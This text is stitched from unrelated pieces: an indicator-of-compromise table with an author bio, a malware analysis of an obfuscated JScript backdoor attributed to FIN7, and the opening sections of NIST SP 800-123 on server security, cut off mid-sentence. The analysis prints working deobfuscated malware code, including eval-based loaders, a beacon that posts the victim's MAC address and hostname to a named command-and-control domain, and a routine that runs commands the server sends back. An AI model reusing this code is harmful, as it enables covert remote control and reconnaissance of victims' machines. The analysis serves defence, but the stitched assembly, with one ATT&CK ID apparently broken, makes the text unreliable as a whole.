Analyze Live Endpoint Scanner available via the enterprise edition. Running the scanner will classify all binary code residing in your machine’s memory. ## Indicators of Compromise | MD5 | C2 | |---------------------------------------|---------------------| | 8d44ccac6b5512a416339984ad664d79 | 185.188.183[.]144 | | 14471a353788bb6cdb6071d0e0a83004 | 94.177.123[.]134 | | 327090cbddf94fc901662f0e863ba0cb | 88.214.27[.]40 | | 39d550fd902ca4c1461961d01ad1aeb6 | 51.83.216[.]211 | ## MITRE ATT&CK | Tactic | ID | Name | |-------------------------|----------------|-------------------------------------------| | Execution | T1059.001 | PowerShell | | | T1059.003 | Windows Command Shell | | | T1047 | Windows Management Instrumentation | | Persistence | T1547.001 | Registry Run Keys / Startup Folder | | | T1547.004 | Winlogon Helper DLL | | | T1546.003 | Windows Management Instrumentation Event | | | T1546.012 | Image File Execution Options Injection | | | T1053.005 | Scheduled Task | | Privilege Escalation | T1548.002 | Bypass User Account Control | | Defense Evasion | T1562.001 | Disable or Modify Tools | | | T1070.004 | File Deletion | | Credential Access | T1003.001 | LSASS Memory | | Discovery | T1082 | System Information Discovery | | | T1016 | System Network Configuration Discovery | | | T1018 | Remote System Discovery | | Command and Control | T1571 | Non-Standard Port | | | T1071.001 | Web Protocols | ## Author Ryan Robinson Ryan is a security researcher analyzing malware and scripts. Formerly, he was a researcher on Anomali's Threat Research Team.
# FIN7 Still Active ## Malware Analysis The script shared by Jamesinthebox uses the online obfuscation tool (obfuscator.io). This content contains two arrays. The first array is used to store the names of variables and sensitive strings for parsing and debug rights. We can observe the debug method using multiple structures and variables to make detection of the sensitive strings more difficult. ```javascript var _0x54a936 = { '_0x32f61a': "function *" + "\( *\)", '_0x266e01': "\+\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", '_0x2468d2': function(_0x4061b6, _0x597f44) { return _0x4061b6(_0x597f44); }, '_0x3b246a': "init", '_0x3f9cac': function(_0x48357f, _0x4b98fc) { return _0x48357f + _0x4b98fc; }, '_0x4a2085': "chain", '_0x570ddd': function(_0x20f149, _0x13ec09) { return _0x20f149 + _0x13ec09; }, '_0x47fe88': "input", '_0x2364be': function(_0x4daf29, _0x5ba9e8) { return _0x4daf29(_0x5ba9e8); }, '_0x4efc5e': function(_0x532c74) { return _0x532c74(); }, '_0x2ccd48': "debu", '_0x16e271': "gger", '_0x2ce955': "action", '_0x3707dc': function(_0x2cc56c, _0x3bf43b) { return _0x2cc56c !== _0x3bf43b; }, '_0x855ec8': "KUUrd", '_0x3f841c': "kohKf", '_0x423620': "yneBb", '_0x99f1a1': "UuGiZ", '_0x129f4a': function(_0x88b8a9, _0x35d08b) { return _0x88b8a9 !== _0x35d08b; }, '_0xbcf372': "NCgnV", '_0x295b74': "hOtVq" }; ``` The obfuscation of the sensitive strings is performed by some algorithmic operations and decodes the Uniform Resource Identifier of the previously obtained result. ```javascript if (_0x3edc['gUTaYc'] === undefined) { var _0x197fa4 = function(_0x5637b0) { var _0x1f0720 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='; var _0x342d50 = '', _0x2db3eb = ''; for (var _0x2f1361 = 0, _0x597f81, _0x496bb3, _0x381c32 = 0; _0x496bb3 = _0x5637b0['charAt'](_0x381c32++); ~_0x496bb3 && (_0x597f81 = _0x2f1361 % (4) ? _0x597f81 * (64) + _0x496bb3 : _0x496bb3, _0x2f1361++ % (4)) ? _0x342d50 += String['fromCharCode'](255 & _0x597f81 >> (-(2) * _0x2f1361 & 6)) : 0) { _0x496bb3 = _0x1f0720['indexOf'](_0x496bb3); } for (var _0x89b03d = 0, _0x4e9024 = _0x342d50['length']; _0x89b03d < _0x4e9024; _0x89b03d++) { _0x2db3eb += '%' + ('00' + _0x342d50['charCodeAt'](_0x89b03d)['toString'](16))['slice'](-(2)); } return decodeURIComponent(_0x2db3eb); }; } ``` Once converted from hex format to string and using the function to get the strings, we can see a series of uses of `parseInt` for converting the strings to a number. This gives all the operations the number for breaking the loop in comparing the argument given to the function. ```javascript var _0x1a38 = [...]; (function(_0x47d8a8, _0x1851e9) { while (!![]) { try { var _0x4dd6fd = parseInt("664032jQsglL") + parseInt("878120qPdlhQ") + parseInt("207891HXnkOM") * -parseInt("1gtilFQ") + -parseInt("318972ivovUt") * -parseInt("3kMmBxS") + -parseInt("683150ZjgSKX") + -parseInt("310414kzoHUO") + parseInt("42QmRGus") * -parseInt("11542NSgyNz"); if (_0x4dd6fd === _0x1851e9) break; else _0x47d8a8['push'](_0x47d8a8['shift']()); } catch (_0x56999e) { _0x47d8a8['push'](_0x47d8a8['shift']()); } } }(_0x1a38, 812849)); ``` The second array contains the code for encrypting and decrypting the initial request to the C2. This uses the strings of the first array pushed into the new array for processing. ```javascript ZdjtFfVPobMLuWNR = _0x22598f(0x1215, '$^M^') + _0x22598f(0x1026, 'cpk[') + _0x22598f(0x1423, 'ytiX') + _0x22598f(0x1cbe, 'hN$0') + _0x22598f(0x4bd, 'cpk[') + _0x22598f(0x1e9c, 'e!BP') + _0x22598f(0x135b, '09iZ'); ``` This code is executed by the traditional method "split-execute" when the sequence calls by each step by their number of the case. This part of the code begins by creating an object that contains a regular expression used for removing the junk part of the data from the second array. This code contains the next layer of obfuscation with the encoded data and one part of the functions for decoding it, executed by an eval call to push it into memory. ```javascript var _0x22ae65 = "4|0|5|3|1|2" ["split"]('|'), _0x58f8c4 = 0; while (!![]) { switch (_0x22ae65[_0x58f8c4++]) { case '0': apNCulicRPYzOefdrbk = ZdjtFfVPobMLuWNR["replace"](rfJUuzDlHsKTpVP, ''); continue; case '1': GfiHEvkZxlSUQFLme = new ActiveXObject("WScript.Shell"); continue; case '2': try { GfiHEvkZxlSUQFLme["_0x25811a"]("XtJjEIkVZDxKlUehgy"); } catch (_0x5edbbe) { var _0x54831a = eval(yCRQsLachezYpHlTf); } continue; case '3': for (OwkFMgqJoXhRBpIsGQA = 0; OwkFMgqJoXhRBpIsGQA < OQywqAtKEYVPLbC["length"]; OwkFMgqJoXhRBpIsGQA++) { tIFTSbRMOhaueUVP = gJKESNhpluIOVRw(OQywqAtKEYVPLbC, OwkFMgqJoXhRBpIsGQA) - (1833) * stkChZmIjlpFrxaRDWN / (106314), tIFTSbRMOhaueUVP != (106314) * stkChZmIjlpFrxaRDWN / (240352) && tIFTSbRMOhaueUVP != (444928) * stkChZmIjlpFrxaRDWN / (403216) && (yCRQsLachezYpHlTf += nIoWRmSCpujBFziN(tIFTSbRMOhaueUVP)); } continue; case '4': rfJUuzDlHsKTpVP = RegExp("lgEOjHXaeD", 'g'); continue; case '5': var _0x2fcd87 = eval(apNCulicRPYzOefdrbk); continue; } break; } ``` The code of the next layer in memory contains two functions: one for making a delay for the exchange to the C2 and the second for encrypting/decrypting the data. This exchange is encrypted in more than the TLS layer with the SSL keys of the certificate to make detection harder. ```javascript function func_start_delay() { var s_WScript = WScript; s_WScript.Sleep(120000); } function func_crypt_controller(var_type, var_request) { try { var encryption_key = ""; if (var_type === "decrypt") { var_request = unescape(var_request); var request_split = var_request.split("&_&"); var_request = request_split[0]; if (request_split.length == 2) { encryption_key = request_split[1].split(""); } else { return var_request; } } else { encryption_key = (Math.floor(Math.random() * 9000) + 1000).toString().split(""); var_request = unescape(encodeURIComponent(var_request)); } var var_output = new Array(var_request.length); for (var i_counter = 0; i_counter < var_request.length; i_counter++) { var var_charCode = var_request.charCodeAt(i_counter) ^ encryption_key[i_counter % encryption_key.length].charCodeAt(0); var_output[i_counter] = String.fromCharCode(var_charCode); } var result_string = var_output.join(""); if (var_type === "encrypt") { result_string = result_string + "&_&" + encryption_key.join(""); result_string = escape(result_string); } return result_string; } catch (e) { return "no"; } } ``` For removing the TLS layer, edit the SSLKEYLOGFILE variable to fix the SSL keys when executing in the sandbox and remove the first obfuscation. We can now observe in clear the exchange between the victim and the C2. The second obfuscation is removed by getting the key in splitting with "&_&" the code. For all the exchanges, the key changes but follows the same pattern with 4-5 numbers only as the key. The first exchange gives the last layer to execute and initiate the reconnaissance actions on the computer (Hostname, Username, MAC address, etc.) in the command given by C2. The pulses to the C2 are randomized. ```javascript function func_main() { var ncommand = ""; var s_WScript = WScript; ncommand = send_data("request", "page_id=new", true); if (ncommand !== "no") { try { ncommand = func_crypt_controller("decrypt", ncommand); if (ncommand !== "no") { eval(func_crypt_controller("decrypt", ncommand)); } } catch (e) {} } var random_knock = 120000 + (Math.floor(Math.random() * 16001) - 5000); s_WScript.Sleep(random_knock); func_main(); } ``` ```javascript function func_id() { var mac_address = "#Error#"; var dns_hostname = "#Error#"; try { var lrequest = wmi.ExecQuery("select * from Win32_NetworkAdapterConfiguration where ipenabled = true"); var lItems = new Enumerator(lrequest); for (; !lItems.atEnd(); lItems.moveNext()) { mac_address = lItems.item().macaddress; dns_hostname = lItems.item().DNSHostName; if (typeof mac_address === "string" && mac_address.length > 1) { if (typeof dns_hostname !== "string" && dns_hostname.length < 1) { dns_hostname = "Unknown"; } else { for (var i_counter = 0; i_counter < dns_hostname.length; i_counter++) { if (dns_hostname.charAt(i_counter) > "z") { dns_hostname = dns_hostname.substr(0, i_counter) + "_" + dns_hostname.substr(i_counter + 1); } } } return mac_address + "_" + dns_hostname; } } } catch (e) { return mac_address + "_" + dns_hostname; } } ``` This uses a random path to add to the URL to push the data by a POST (like in the past by the FIN7 group). ```javascript function func_get_path() { var var_pathes = ["images", "pictures", "img", "info", "new"]; var var_files = ["sync", "show", "hide", "add", "new", "renew", "delete"]; var var_path = var_pathes[Math.floor(Math.random() * var_pathes.length)] + "/" + var_files[Math.floor(Math.random() * var_files.length)]; return "https://civilizationidium.com/" + var_path; } ``` This sends the data to the C2 after encrypting it with the key sent by the C2 in the previous exchange. ```javascript function send_data(var_type, var_data, var_crypt) { try { var http_object = new ActiveXObject("MSXML2.ServerXMLHTTP"); if (var_type === "request") { http_object.open("POST", func_get_path() + "?type=name", false); var_data = "zawgkveuwynyjvizs=" + func_crypt_controller("encrypt", "group=sp&rt=0&secret=HiyFIYF973IYFCviyv&time=120000&uid=" + uniq_id + "&id=" + func_id() + "&" + var_data); } else { http_object.open("POST", func_get_path() + "?type=content&id=" + uniq_id, false); if (var_crypt) { var_data = func_crypt_controller("encrypt", var_data); } } http_object.setRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:69.0) Gecko/20100101 Firefox/50.0"); http_object.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); http_object.setOption(2, 13056); http_object.send(var_data); return http_object.responseText; } catch (e) { return "no"; } } ``` And takes the following format for pulse to the C2: ``` "group=sp&rt=0&secret=HiyFIYF973IYFCviyv&time=120000&uid=54&id=%Mac Address%_%Username%&page_id=new" ``` The commands sent by the C2 are decrypted with the hardcoded password. The attacker can continue to deploy the next stager with PowerShell commands (invoke-webrequest, IE COM object, BITS job, etc.) in a fileless manner. ```javascript function func_decrypt(strInput) { strPass = {Redacted}; var strRet = new String(""); var arrtext = strInput.split(","); var i_counter = 0; var j_counter = 0; for (i_counter = 0; i_counter < arrtext.length - 1; i_counter++) { var char_c = String.fromCharCode(Number(arrtext[i_counter])); var charCom = char_c.charCodeAt(0) ^ strPass.charCodeAt(j_counter); char_c = String.fromCharCode(charCom); strRet += char_c; if (j_counter == strPass.length - 1) j_counter = 0; else j_counter++; } return strRet; } ``` ## References MITRE ATT&CK Matrix ### Enterprise Tactics and Techniques Used - **Execution**: Command and Scripting Interpreter - [T059](https://attack.mitre.org/techniques/T059/) - **Execution**: Windows Command Shell - [T1059/003](https://attack.mitre.org/techniques/T1059/003/) - **Defense Evasion**: Subvert Trust Controls - [T1553](https://attack.mitre.org/techniques/T1553) - **Defense Evasion**: Install Root Certificate - [T1553/004](https://attack.mitre.org/techniques/T1553/004/) - **Discovery**: Query Registry - [T1012](https://attack.mitre.org/techniques/T1012/) - **Discovery**: System Information Discovery - [T1082](https://attack.mitre.org/techniques/T1082/) - **Discovery**: System Owner/User Discovery - [T1033](https://attack.mitre.org/techniques/T1033/) ### Indicators Of Compromise (IOC) - **Indicator**: 195.2.92.62 - **Type**: IP - **Description**: IP C2 - **Indicator**: civilizationidium[.]com - **Type**: Domain - **Description**: Domain C2 - **Indicator**: caa7667bfdbcb04ceb9d81df93fe805dfe4ac8a04b9dd3eaab7b5f7c87c4fc9c - **Type**: SHA256 - **Description**: vaccine.js
# Special Publication 800-123 ## Guide to General Server Security ### Acknowledgements The authors, Karen Scarfone and Wayne Jansen of the National Institute of Standards and Technology (NIST) and Miles Tracy of Federal Reserve Information Technology, wish to thank their colleagues who reviewed drafts of this document and contributed to its technical content. The authors would like to acknowledge Murugiah Souppaya, Tim Grance, and Jim St. Pierre of NIST, Robert Dutton of Booz Allen Hamilton, and Kurt Dillard for their keen and insightful assistance throughout the development of the document. Special thanks also go to the security experts that provided feedback during the public comment period, particularly Dean Farrington (Wells Fargo), Joseph Klein (Command Information), Dr. Daniel Woodard (The Bionetics Corporation), and representatives from the Federal Aviation Administration. Much of the content of this publication was derived from NIST Special Publication 800-44 Version 2, Guidelines on Securing Public Web Servers, by Miles Tracy, Wayne Jansen, Karen Scarfone, and Theodore Winograd, and NIST Special Publication 800-45 Version 2, Guidelines on Electronic Mail Security, by Miles Tracy, Wayne Jansen, Karen Scarfone, and Jason Butterfield. --- ## Executive Summary An organization’s servers provide a wide variety of services to internal and external users, and many servers also store or process sensitive information for the organization. Some of the most common types of servers are Web, email, database, infrastructure management, and file servers. This publication addresses the general security issues of typical servers. Servers are frequently targeted by attackers because of the value of their data and services. For example, a server might contain personally identifiable information that could be used to perform identity theft. The following are examples of common security threats to servers: - Malicious entities may exploit software bugs in the server or its underlying operating system to gain unauthorized access to the server. - Denial of service (DoS) attacks may be directed to the server or its supporting network infrastructure, denying or hindering valid users from making use of its services. - Sensitive information on the server may be read by unauthorized individuals or changed in an unauthorized manner. - Sensitive information transmitted unencrypted or weakly encrypted between the server and the client may be intercepted. - Malicious entities may gain unauthorized access to resources elsewhere in the organization’s network via a successful attack on the server. - Malicious entities may attack other entities after compromising a server. These attacks can be launched directly (e.g., from the compromised host against an external server) or indirectly (e.g., placing malicious content on the compromised server that attempts to exploit vulnerabilities in the clients of users accessing the server). This document is intended to assist organizations in installing, configuring, and maintaining secure servers. More specifically, this document describes, in detail, the following practices to apply: - Securing, installing, and configuring the underlying operating system - Securing, installing, and configuring server software - Maintaining the secure configuration through application of appropriate patches and upgrades, security testing, monitoring of logs, and backups of data and operating system files. The following key guidelines are recommended to Federal departments and agencies for maintaining a secure server: Organizations should carefully plan and address the security aspects of the deployment of a server. Because it is much more difficult to address security once deployment and implementation have occurred, security should be carefully considered from the initial planning stage. Organizations are more likely to make decisions about configuring computers appropriately and consistently when they develop and use a detailed, well-designed deployment plan. Developing such a plan will support server administrators in making the inevitable tradeoff decisions between usability, performance, and risk. Organizations often fail to consider the human resource requirements for both deployment and operational phases of the server and supporting infrastructure. Organizations should address the following points in a deployment plan: - Types of personnel required (e.g., system and server administrators, network administrators, information systems security officers [ISSO]) - Skills and training required by assigned personnel - Individual (i.e., level of effort required of specific personnel types) and collective staffing (i.e., overall level of effort) requirements. Organizations should implement appropriate security management practices and controls when maintaining and operating a secure server. Appropriate management practices are essential to operating and maintaining a secure server. Security practices entail the identification of an organization’s information system assets and the development, documentation, and implementation of policies, standards, procedures, and guidelines that help to ensure the confidentiality, integrity, and availability of information system resources. To ensure the security of a server and the supporting network infrastructure, the following practices should be implemented: - Organization-wide information system security policy - Configuration/change control and management - Risk assessment and management - Standardized software configurations that satisfy the information system security policy - Security awareness and training - Contingency planning, continuity of operations, and disaster recovery planning - Certification and accreditation. Organizations should ensure that the server operating system is deployed, configured, and managed to meet the security requirements of the organization. The first step in securing a server is securing the underlying operating system. Most commonly available servers operate on a general-purpose operating system. Many security issues can be avoided if the operating systems underlying servers are configured appropriately. Default hardware and software configurations are typically set by manufacturers to emphasize features, functions, and ease of use, at the expense of security. Because manufacturers are not aware of each organization’s security needs, each server administrator must configure new servers to reflect their organization’s security requirements and reconfigure them as those requirements change. Using security configuration guides or checklists can assist administrators in securing servers consistently and efficiently. Securing an operating system initially would generally include the following steps: - Patch and upgrade the operating system - Remove or disable unnecessary services, applications, and network protocols - Configure operating system user authentication - Configure resource controls - Install and configure additional security controls, if needed - Perform security testing of the operating system. Organizations should ensure that the server application is deployed, configured, and managed to meet the security requirements of the organization. In many respects, the secure installation and configuration of the server application will mirror the operating system process discussed above. The overarching principle is to install the minimal amount of services required and eliminate any known vulnerabilities through patches or upgrades. If the installation program installs any unnecessary applications, services, or scripts, they should be removed immediately after the installation process concludes. Securing the server application would generally include the following steps: - Patch and upgrade the server application - Remove or disable unnecessary services, applications, and sample content - Configure server user authentication and access controls - Configure server resource controls - Test the security of the server application (and server content, if applicable). Many servers also use authentication and encryption technologies to restrict who can access the server and to protect information transmitted between the server and its clients. Organizations should periodically examine the services and information accessible on the server and determine the necessary security requirements. Organizations should also be prepared to migrate their servers to stronger cryptographic technologies as weaknesses are identified in the servers’ existing cryptographic technologies. For example, NIST has recommended that use of the Secure Hash Algorithm 1 (SHA-1) be phased out by 2010 in favor of SHA-224, SHA-256, and other larger, stronger hash functions. Organizations should stay aware of cryptographic requirements and plan to update their servers accordingly. Organizations should commit to the ongoing process of maintaining the security of servers to ensure continued security. Maintaining a secure server requires constant effort, resources, and vigilance from an organization. Securely administering a server on a daily basis is an essential aspect of server security. Maintaining the security of a server will usually involve the following actions: - Configuring, protecting, and analyzing log files on an ongoing and frequent basis - Backing up critical information frequently - Establishing and following procedures for recovering from compromise - Testing and applying patches in a timely manner - Testing security periodically. --- ## 1. Introduction ### 1.1 Authority The National Institute of Standards and Technology (NIST) developed this document in furtherance of its statutory responsibilities under the Federal Information Security Management Act (FISMA) of 2002, Public Law 107-347. NIST is responsible for developing standards and guidelines, including minimum requirements, for providing adequate information security for all agency operations and assets; but such standards and guidelines shall not apply to national security systems. This guideline is consistent with the requirements of the Office of Management and Budget (OMB) Circular A-130, Section 8b(3), “Securing Agency Information Systems,” as analyzed in A-130, Appendix IV: Analysis of Key Sections. Supplemental information is provided in A-130, Appendix III. This guideline has been prepared for use by Federal agencies. It may be used by nongovernmental organizations on a voluntary basis and is not subject to copyright, though attribution is desired. Nothing in this document should be taken to contradict standards and guidelines made mandatory and binding on Federal agencies by the Secretary of Commerce under statutory authority, nor should these guidelines be interpreted as altering or superseding the existing authorities of the Secretary of Commerce, Director of the OMB, or any other Federal official. ### 1.2 Purpose and Scope The purpose of this document is to assist organizations in understanding the fundamental activities performed as part of securing and maintaining the security of servers that provide services over network communications as a main function. Hosts that incidentally provide one or a few services for maintenance or accessibility purposes, such as a remote access service for remote troubleshooting, are not considered servers in this document. The types of servers this publication addresses include outward-facing publicly accessible servers, such as web and email services, and a wide range of inward-facing servers. This document discusses the need to secure servers and provides recommendations for selecting, implementing, and maintaining the necessary security controls. This document addresses common servers that use general operating systems (OS) such as Unix, Linux, and Windows. Many of the recommendations in this document may also be applicable to servers that use specialized OSs or run on proprietary appliances, but other recommendations will not be implementable or may have unintended consequences, so such servers are considered outside the scope of this document. Other types of servers outside the scope of this document are virtual servers and highly specialized servers, particularly security infrastructure devices (e.g., firewalls, intrusion detection systems), which have unusual configurations and security needs. Other NIST documents, such as Special Publication (SP) 800-45 Version 2, Guidelines on Electronic Mail Security and SP 800-44 Version 2, Guidelines on Securing Public Web Servers, provide recommendations for particular types of servers. The recommendations in this document are intended as a foundation for other server-related documents and do not override more specific recommendations made in such documents. ### 1.3 Audience This document has been created primarily for system administrators and security administrators who are responsible for the technical aspects of securing servers. The material in this document is technically oriented, and it is assumed that readers have at least a basic understanding of system and network security. ### 1.4 Document Structure The remainder of this document is organized into the following major sections: - Section 2 provides background information about servers and presents an overview of server security concerns. It also introduces the high-level steps for securing a server. - Section 3 discusses the security planning and management for servers. - Section 4 presents an overview of securing a server’s operating system. - Section 5 discusses the actions needed to securely install and configure server software, such as Web server software and email server software. - Section 6 provides recommendations for maintaining the security of a server. The document also contains appendices with supporting material: - Appendix A contains a glossary. - Appendix B contains a list of acronyms and abbreviations. - Appendix C lists print and online resources that may be helpful for understanding general server security. --- ## 2. Background A server is a host that provides one or more services for other hosts over a network as a primary function. For example, a file server provides file sharing services so that users can access, modify, store, and delete files. Another example is a database server that provides database services for Web applications on Web servers. The Web servers, in turn, provide Web content services to users’ Web browsers. There are many other types of servers, such as application, authentication, directory services, email, infrastructure management, logging, name/address resolution services (e.g., Domain Name Server [DNS]), print, and remote access. This section provides background information on server security. It first discusses common server vulnerabilities and threats, and places them in the context of the types of environments in which servers are deployed. Next, it explains how the security needs of a server can be categorized so that the appropriate security controls can be determined. The section also gives an overview of the basic steps that are required to ensure the security of a server and explains fundamental principles of securing servers. ### 2.1 Server Vulnerabilities, Threats, and Environments To secure a server, it is essential to first define the threats that must be mitigated. Knowledge of potential threats is important to understanding the reasons behind the various baseline technical security practices presented in this document. Many threats against data and resources are possible because of mistakes—either bugs in operating system and server software that create exploitable vulnerabilities, or errors made by end users and administrators. Threats may involve intentional actors (e.g., attacker who wants to access information on a server) or unintentional actors (e.g., administrator who forgets to disable user accounts of a former employee). Threats can be local, such as a disgruntled employee, or remote, such as an attacker in another geographical area. Organizations should conduct risk assessments to identify the specific threats against their servers and determine the effectiveness of existing security controls in counteracting the threats; they then should perform risk mitigation to decide what additional measures (if any) should be implemented, as discussed in NIST Special Publication (SP) 800-30, Risk Assessment Guide for Information Technology Systems. Performing risk assessments and mitigation helps organizations better understand their security posture and decide how their servers should be secured. The baseline technical security practices presented in this publication are based on commonly accepted technical security principles and practices, documented in various NIST SPs (including SP 800-14, SP 800-23, and SP 800-53) and other sources such as the Department of Defense (DoD) Information Assurance Technical Framework. In particular, NIST SP 800-27, Engineering Principles for Information Technology Security (A Baseline for Achieving Security), contains a set of engineering principles for system security that provide a foundation upon which a more consistent and structured approach to the design, development, and implementation of IT security capabilities can be constructed. An important element of planning the appropriate security controls for a server is understanding the threats associated with the environment in which the server is deployed. The recommendations in this publication are based on the assumption that the servers are in typical enterprise environments and thus face the threats and have the security needs usually associated with such environments. Organizations deploying servers in higher-security environments are likely to need to employ more restrictive security controls than the recommendations in this publication. For servers in legacy environments, organizations should secure them as if they were in a typical enterprise environment or a higher-security environment, as appropriate, and make the minimum possible security control alterations to facilitate legacy access. ### 2.2 Security Categorization of Information and Information Systems The classic model for information security defines three objectives of security: maintaining confidentiality, integrity, and availability. Confidentiality refers to protecting information from being accessed by unauthorized parties. Integrity refers to ensuring the authenticity of information—that information is not altered, and that the source of the information is genuine. Availability means that information is accessible by authorized users. Each objective addresses a different aspect of providing protection for information. Determining how strongly a system needs to be protected is based largely on the type of information that the system processes and stores. For example, a system containing medical records probably needs much stronger protection than a computer only used for viewing publicly released documents. This is not to imply that the second system does not need protection; every system needs to be protected, but the level of protection may vary based on the value of the system and its data. Federal Information Processing Standards (FIPS) Publication (PUB) 199, Standards for Security Categorization of Federal Information and Information System establishes criteria for determining the security category of a system. FIPS PUB 199 defines three security categories—low, moderate, and high—based on the potential impact of a security breach involving a particular system: - The potential impact is LOW if the loss of confidentiality, integrity, or availability could be expected to have a limited adverse effect on organizational operations, organizational assets, or individuals. A limited adverse effect means that, for example, the loss of confidentiality, integrity, or availability might (i) cause a degradation in mission capability to an extent and duration that the organization is able to perform its primary functions, but the effectiveness of the functions is noticeably reduced; (ii) result in minor damage to organizational assets; (iii) result in minor financial loss; or (iv) result in minor harm to individuals. - The potential impact is MODERATE if the loss of confidentiality, integrity, or availability could be expected to have a serious adverse effect on organizational operations, organizational assets, or individuals. A serious adverse effect means that, for example, the loss of confidentiality, integrity, or availability might (i) cause a significant degradation in mission capability to an extent and duration that the organization is able to perform its primary functions, but the effectiveness of the functions is significantly reduced; (ii) result in significant damage to organizational assets; (iii) result in significant financial loss; or (iv) result in significant harm to individuals that does not involve loss of life or serious life-threatening injuries. - The potential impact is HIGH if the loss of confidentiality, integrity, or availability could be expected to have a severe or catastrophic adverse effect on organizational operations, organizational assets, or individuals. A severe or catastrophic adverse effect means that, for example, the loss of confidentiality, integrity, or availability might (i) cause a severe degradation in or loss of mission capability to an extent and duration that the organization is not able to perform one or more of its primary functions; (ii) result in major damage to organizational assets; (iii) result in major financial loss; or (iv) result in severe or catastrophic harm to individuals involving loss of life or serious life-threatening injuries. Each system, including all servers that are part of the system, should be protected based on the potential impact to the system of a loss of confidentiality, integrity, or availability. Protection measures (otherwise known as security controls) tend to fall into two categories. First, security weaknesses in the system need to be resolved. For example, if a system has a known vulnerability that attackers could exploit, the system should be patched so that the vulnerability is removed or mitigated. Second, the system should offer only the required functionality to each authorized user, so that no one can use functions that are not necessary. This principle is known as least privilege. Limiting functionality and resolving security weaknesses have a common goal: give attackers as few opportunities as possible to breach a system. A common problem with security controls is that they often make systems less convenient or more difficult to use. When usability is an issue, many users will attempt to circumvent security controls; for example, if passwords must be long and complex, users may write them down. Balancing security, functionality, and usability is often a challenge. This guide attempts to strike a proper balance and make recommendations that provide a reasonably secure solution while offering the functionality and usability that users require. Another fundamental principle endorsed by this guide is using multiple layers of security—defense in depth. For example, a system may be protected from external attack by several controls, including a network-based firewall, a host-based firewall, and OS patching. The motivation for having multiple layers is that if one layer fails or otherwise cannot counteract a certain threat, other layers might prevent the threat from successfully breaching the system. A combination of network-based and host-based controls is generally most effective at providing consistent protection for systems. NIST SP 800-53 Revision 2, Recommended Security Controls for Federal Information Systems, proposes minimum baseline management, operational, and technical security controls for information systems. These controls are to be implemented based on the security categorizations proposed by FIPS 199, as described earlier in this section. This guidance should assist agencies in meeting baseline requirements for servers deployed in their environments. ### 2.3 Basic Server Security Steps A number of steps are required to ensure the security of any server. As a prerequisite for taking any step, however, it is essential that the organization have a security policy in place. Taking the following steps for server security within the context of the organization’s security policy should prove effective: 1. Plan the installation and deployment of the operating system (OS) and other components for the server. Section 3 addresses this step. 2. Install, configure, and secure the underlying OS. This is discussed in Section 4. 3. Install, configure, and secure the server software. Section 5 describes this step. 4. For servers that host content, such as Web servers (Web pages), database servers (databases), and directory servers (directories), ensure that the content is properly secured. This is highly dependent on the type of server and the type of content, so it is outside the scope of this publication to provide recommendations for content security. Readers should consult relevant NIST publications (see Appendix C) and other sources of security recommendations for information on securing server content. 5. Employ appropriate network protection mechanisms (e.g., firewall, packet filtering router, and proxy). Choosing the mechanisms for a particular situation depends on several factors, including the location of the server’s clients (e.g., Internet, internal, internal and remote access), the location of the server on the network, the types of services offered by the server, and the types of threats against the server. Accordingly, this publication does not present recommendations for selecting network protection mechanisms. NIST SP 800-41, Guidelines on Firewalls and Firewall Policy and NIST SP 800-94, Guide to Intrusion Detection and Prevention Systems (IDPS), contain additional information on network protection mechanisms. 6. Employ secure administration and maintenance processes, including application of patches and upgrades, monitoring of logs, backups of data and OS, and periodic security testing. This step is described in Section 6. The practices recommended in this document are designed to help mitigate the risks associated with servers. They build on and assume the implementation of practices described in the NIST publications on system and network security listed in Appendix C. ### 2.4 Server Security Principles When addressing server security issues, it is an excellent idea to keep in mind the following general information security principles: - **Simplicity**—Security mechanisms (and information systems in general) should be as simple as possible. Complexity is at the root of many security issues. - **Fail-Safe**—If a failure occurs, the system should fail in a secure manner, i.e., security controls and settings remain in effect and are enforced. It is usually better to lose functionality rather than security. - **Complete Mediation**—Rather than providing direct access to information, mediators that enforce access policy should be employed. Common examples of mediators include file system permissions, proxies, firewalls, and mail gateways. - **Open Design**—System security should not depend on the secrecy of the implementation or its components. - **Separation of Privilege**—Functions, to the degree possible, should be separate and provide as much granularity as possible. The concept can apply to both systems and operators and users. In the case of systems, functions such as read, edit, write, and execute should be separate. In the case of system operators and users, roles should be as separate as possible. For example, if resources allow, the role of system administrator should be separate from that of the database administrator. - **Least Privilege**—This principle dictates that each task, process, or user is granted the minimum rights required to perform its job. By applying this principle consistently, if a task, process, or user is compromised, the scope of damage is constrained to the limited resources available to the compromised entity. - **Psychological Acceptability**—Users should understand the necessity of security. This can be provided through training and education. In addition, the security mechanisms in place should present users with sensible options that give them the usability they require on a daily basis. If users find the security mechanisms too cumbersome, they may devise ways to work around or compromise them. The objective is not to weaken security so it is understandable and acceptable, but to train and educate users and to design security mechanisms and policies that are usable and effective. - **Least Common Mechanism**—When providing a feature for the system, it is best to have a single process or service gain some function without granting that same function to other parts of the system. The ability for the Web server process to access a back-end database, for instance, should not also enable other applications on the system to access the back-end database. - **Defense-in-Depth**—Organizations should understand that a single security mechanism is generally insufficient. Security mechanisms (defenses) need to be layered so that compromise of a single security mechanism is insufficient to compromise a host or network. No “silver bullet” exists for information system security. - **Work Factor**—Organizations should understand what it would take to break the system or network’s security features. The amount of work necessary for an attacker to break the system or network should exceed the value that the attacker would gain from a successful compromise. - **Compromise Recording**—Records and logs should be maintained so that if a compromise does occur, evidence of the attack is available to the organization. This information can assist in securing the network and host after the compromise and aid in identifying the methods and exploits used by the attacker. This information can be used to better secure the host or network in the future. In addition, these records and logs can assist organizations in identifying and prosecuting attackers. --- ## 3. Server Security Planning The most critical aspect of deploying a secure server is careful planning before installation, configuration, and deployment. Careful planning will ensure that the server is as secure as possible and in compliance with all relevant organizational policies. Many server security and performance problems can be traced to a lack of planning or management controls. The importance of management controls cannot be overstated. In many organizations, the IT support structure is highly fragmented. This fragmentation leads to inconsistencies, and these inconsistencies can lead to security vulnerabilities and other issues. ### 3.1 Installation and Deployment Planning Security should be considered from the initial planning stage at the beginning of the systems development life cycle to maximize security and minimize costs. It is much more difficult and expensive to address security after deployment and implementation. Organizations are more likely to make decisions about configuring hosts appropriately and consistently if they begin by developing and using a detailed, well-designed deployment plan. Developing such a plan enables organizations to make informed tradeoff decisions between usability and performance, and risk. A deployment plan allows organizations to maintain secure configurations and aids in identifying security 